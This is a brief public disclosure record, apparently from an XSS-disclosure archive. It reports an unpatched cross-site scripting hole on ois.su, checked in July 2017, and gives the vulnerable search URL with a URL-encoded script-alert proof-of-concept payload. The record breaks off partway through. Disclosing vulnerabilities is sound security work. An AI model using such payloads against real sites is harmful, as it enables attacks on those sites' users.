ois.su XSS vulnerability

Vulnerable URL: http://ois.su/search.php?a=0=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google...